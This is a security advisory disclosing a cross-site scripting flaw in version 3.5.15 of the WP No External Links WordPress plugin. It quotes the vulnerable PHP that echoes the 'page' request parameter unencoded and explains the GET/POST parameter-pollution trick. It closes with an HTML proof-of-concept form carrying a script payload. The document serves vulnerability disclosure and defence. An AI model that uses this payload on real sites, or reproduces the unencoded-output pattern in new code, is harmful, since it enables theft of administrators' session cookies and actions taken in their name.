Advisory

Yorick Koster, July 2016

Cross-Site Scripting vulnerability in WP No External Links WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the WP No External Links WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

OVE ID

OVE-20160712-0020

Tested versions

This issue was successfully tested on WP No External Links WordPress Plugin version 3.5.15.

Fix

This issue is resolved in WP No External Links version 3.5.16.

Introduction

The WP No External Links WordPress Plugin masks all external links - make them internal or hide. On your own posts, comments pages, and authors page. A Cross-Site Scripting vulnerability was found in the WP No External Links WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Details

The issue exists in the file wp-noexternallinks-options.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

<a href="?page=<?php echo $_REQUEST['page']; ?>"
   
[...]
   
<a href="?page=<?php echo $_REQUEST['page']; ?>&action=stats"
   
[...]
   
<input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>">

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/options-general.php?page=wp-noexternallinks/wp-noexternallinks-options.php" method="POST">
         <input type="hidden" name="page" value="&quot;<script>alert(document.cookie);</script>" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

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